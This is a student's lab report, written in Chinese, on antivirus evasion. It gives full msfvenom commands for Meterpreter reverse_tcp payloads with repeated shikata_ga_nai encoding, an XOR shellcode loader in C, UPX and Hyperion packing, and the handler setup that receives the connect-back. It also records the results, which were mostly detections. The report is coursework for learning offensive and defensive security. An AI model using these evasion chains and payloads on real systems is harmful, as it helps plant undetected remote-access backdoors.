20222319 2024-2025-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
1.1 实验目的
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2 关键问题回答
(1)杀软是如何检测出恶意代码的?
1.检测特征码:杀毒软件拥有一套特征库,通过检索程序代码是否与库中的特征码匹配来判断某段代码是否属于病毒
2.启发式恶意软件检测:如果程序的特征和行为与病毒程序类似,且匹配程度达到一定值,则认为该程序是病毒程序
3.基于行为检测:通过监视恶意代码运行过程,如系统监视工具观察恶意代码运行时系统环境的变化,或跟踪恶意代码执行过程使用的系统函数和指令特征来分析恶意代码功能,如出现恶意行为,则属于恶意代码
4.基于文件校验和:该病毒检测技术主要依赖于计算文件的校验和(如MD5、SHA-1等),并将其与已知的正常文件的校验和进行比较。其核心思想是,恶意软件通常会修改文件内容,从而改变其校验和值。因此,通过定期或不定期地检查文件的校验和是否与正常值一致,可以检测文件是否被篡改或感染病毒
5.云查杀:是一种依赖于云端病毒库的检测方法。与传统的客户端病毒库不同,云查杀的病毒库存储在服务器端,这使得病毒库可以实时更新,而不需要用户手动更新本地病毒库。
(2)免杀是做什么?
指通过各种手段使恶意软件规避杀毒软件和安全检测系统的识别和拦截,从而在目标系统中成功执行。
(3)免杀的基本方法有哪些?
修改校验和:是一种免杀技术,其核心在于改变文件的特定区域,从而使文件的校验和(如MD5或SHA-1)发生变化。这种方法可以欺骗依赖于校验和检测的反病毒软件,因为校验和(即哈希值)的变化意味着文件内容发生了变化,即使这种变化是微小的。
修改特征码:指通过改变恶意代码中的特定序列(即特征码),来避免被杀毒软件检测。这些特征码是杀毒软件用来判断恶意软件的关键标识,通过修改这些特定的字节序列,可以使恶意软件逃避检测。
花指令免杀:指在程序的shellcode或特征代码区域添加无实际意义的垃圾指令。这些指令不会改变程序的运行逻辑,但可以干扰反编译和杀毒软件的特征码检测。
加壳免杀:是通过使用加密壳来隐藏恶意代码的特征码,使得杀毒软件无法通过特征码匹配来识别恶意软件。加壳技术可以掩盖原始的特征码,但根据实验结果显示,当前的杀毒软件大多能做到较准确地识别加壳的病毒。
2.实验过程
2.1任务一 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
在windows主机中用ipconfig
在linux虚拟机中用ifconfig
来查此时双方的ip。
此时
linux虚拟机ip为————192.168.56.103
windows主机ip为———192.168.1.115
首先将实验二中生成的后门文件放入专门用于病毒扫描的网站进行病毒检测评估
本实验中我选用的是Virustatol网站,
结果显示,该后门程序在各大病毒扫描引擎面前很容易便被识别出来,因此,对其进行相应的免杀操作显然是本次实验的重中之重。
2.1.1.1对于多次编码后exe文件的免杀效果
首先在虚拟机命令行输入>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.56.103 LPORT=2319 -f exe > 20222319encoded_1.exe
与实验二不同的是,这行代码中加入了如下参数
-e 参数指定使用的编码器。
x86/shikata_ga_nai 是一个逃避杀软检测的编码器,它可以使payload更难被静态分析工具检测到。
-b 参数指定需要避免的字节。这里\x00代表空字节,防止程序执行时提前结束
事实证明,本次编码确实是有一点用,但也确实不多,免杀效果有限,
但这次编码仅仅编码了一次,若是编码更多次是否可以有更好地静态检测免杀效果?
于是我们在命令行中输入以下指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.56.103 LPORT=2319 -f exe > 20222319encoded_10.exe
其中
-i 10 表示编码10次
可事实证明,其免杀效果甚至还提高了,一种解释是多次编码后程序的存储占用更大,其代码复杂性也就越高,可能引入异常或不稳定行为,易引起查毒引擎特征库的注意
2.1.1.2对于多次编码后jar文件的免杀效果
众所周知,exe文件在windows系统中非常常见,因此杀毒引擎必然对以其为载体的病毒文件更为关注,那么其他格式的病毒文件编码后的被查杀效果会不会更低一些呢?
于是我们在虚拟机命令行中输入指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2319 x>20222319encoded_1.jar
生成一份编码一次的jar病毒文件
再在命令行中输入指令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.56.103 LPORT=2319 x>20222319encoded_10.jar
生成编码10次的jar病毒文件
结果显示,jar文件的免杀率仅仅为exe文件的一半,免杀效果更好。
因为jar属于Java代码,其在运行前需要通过Java虚拟机(JVM)进行解释执行,这增加了分析的复杂性。但相对的,这也要求用户也必须安装了java环境,该jar文件才能执行。所以有得也有失,必须结合实际情况来用。
2.1.1.3对于多次编码后php文件的免杀效果
在虚拟机命令行中输入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2319 x> 20222319encoded_1.php
在虚拟机命令行中输入msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.56.103 LPORT=2319 x> 20222319encoded_10.php
结果好的出奇!已经是能避免大部分杀毒引擎的查杀了,原因可能是许多正常的网站和应用程序也会包含PHP脚本,这可能导致杀毒软件若是严格检测则会产生较多的误报,因此杀毒软件可能对PHP文件的检测更为宽松,以减少误报对正常业务的影响。
2.1.2利用shellcode编程进行免杀测试
此时
linux虚拟机ip为————192.168.50.192
windows主机ip为———192.168.1.115
在虚拟机命令行中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2319 -f c
生成一个包含 Meterpreter 反向 TCP 连接 payload 的 C 语言源代码文件
然后用此代码写一个c语言文件如下,其中主函数仅用于实现buf数组中以十六进制编码的shellcode
免杀效果一般。
2.1.3利用加壳手段进行免杀测试
2.1.3.1对于压缩壳
在虚拟机命令行中输入upx 20222319.exe -o 20222319shellcode_upx.exe
给上一步骤生成的Shellcode加层壳,
结果显示不仅没有加强免杀效果,甚至还更容易被检测到了,也许杀毒软件的启发式分析引擎可能会将压缩文件视为高风险对象,尤其是当它们包含未知或可疑的可执行内容时。这种分析可能导致压缩的后门文件更容易被标记为可疑。
2.1.3.2对于加密壳
在虚拟机命令行中输入cp 20222319.exe /usr/share/windows-resources/hyperion/
将目标文件,也即等待加密的文件放入加密程序所在的目录下
再输入cd /usr/share/windows-resources/hyperion/
进入这一目录下
最后输入wine hyperion.exe -v 20222319.exe 20222319Shellcode_hyp.exe
即可为目标后门文件加一层加密的壳
通过nc传输到主机上,并交付病毒测试平台进行测试
可见文件更容易被查杀了。
2.2任务二:通过组合应用各种技术实现恶意代码免杀
在虚拟机命令行输入指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.56.103 LPORT=2319 -f c
将输出的十六进制后门代码放入写好的c文件里逐一异或0x01,得到异或后的代码
再输入vi Shell20222319encoded_10.c
打开该c文件
为程序添加主函数int main(){ for (i = 0; i < sizeof(buf); i++) {buf[i] ^= 0x01;} int (*func)() = (int(*)())buf; func(); }
使得程序未执行时处于伪乱码状态,执行时才是后门文件
保存退出后再于命令行输入i686-w64-mingw32-g++ Shell20222319encoded_10.c -o Shell20222319encoded_10.exe
再加一层压缩壳upx Shell20222319encoded_10.exe -o Shell20222319upx_encoded_10.exe
再将该文件放入加密程序所在的目录下并进入其中
cp Shell20222319upx_encoded_10.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion/
为文件套一层加密壳
wine hyperion.exe -v Shell20222319upx_encoded_10.exe 20222319_END.exe
得到终极后门软件20222319_END.exe
但事实证明杀毒软件不吃这一套,甚至以极高的查杀率终结了这一个终极后门软件。通过nc传输到主机上时直截了当地被火绒查杀,实验失败
(ó﹏ò。)
但是!360确实并未爆出查杀!
于是我们不小心将火绒关掉一小时。。。
进行任务三。
2.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
在linux虚拟机命令行中输入msfconsole
进入msf控制台,
输入use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.103
set LPORT 2319
exploit
然后在主机上运行终极后门软件20222319_END.exe,
结果发现,一运行就被360雷霆查杀了!!!(ó﹏ò。)
实验真的失败了。
这是本次实验在桌面上生成的所有文件。
3.问题及解决方案
关于veil的安装问题
- 问题1:安装过程中出现如下报错
sudo: unable to resolve host kali: Name or service not known
- 问题1解决方案:使用
sudo gedit /etc/hosts
打开/etc/hosts,
会看到
127.0.0.1 localhost
127.0.1.1 kali
可以看到第二行还是旧的主机名,与此时的主机名zzs不同,把主机名改回kali即可。
4.学习感悟、思考等
在本次实验中,我不仅掌握了通过编码器、C Shellcode、加壳等技术手段进行免杀操作,还深入理解了免杀技术的原理,认识到,静态检测主要依赖于特征匹配和行为分析,而动态检测则侧重于监测程序在运行时的行为,两者相结合可以更高效地识别恶意软件。
本实验对我而言存在着两个难点,一是在安装Veil时尽管搜索了网络上大部分安装bug解决方法,邀请了成功安装的同学参与调试安装,但veil始终安装不下来。
第二个难点是如何确保这一个后门软件能够真正逃过市面上主流杀毒软件的查杀。本次实验我参考了许多位同学免杀成功的方法,最终汇总为本实验中的终极后门文件,但实验事实证明,即使是经过精心设计的免杀技术,也不能保证100%的成功率,当然,也有可能是我操作太多,反而引起了反作用也说不定。这要求我在实际操作中不断调整和优化免杀策略,以适应不断变化的安全环境。
事实还是证明,道高一尺,魔高一丈,市面上主流杀毒软件真不是吃素的,连火绒都能查杀的后门文件,360没有第一时间查杀,我觉得并不是360弱,可能是360知道自己的动态检测和软件拦截非常强大,因此为了性能或是避免误杀弱化了静态查杀方面的能力。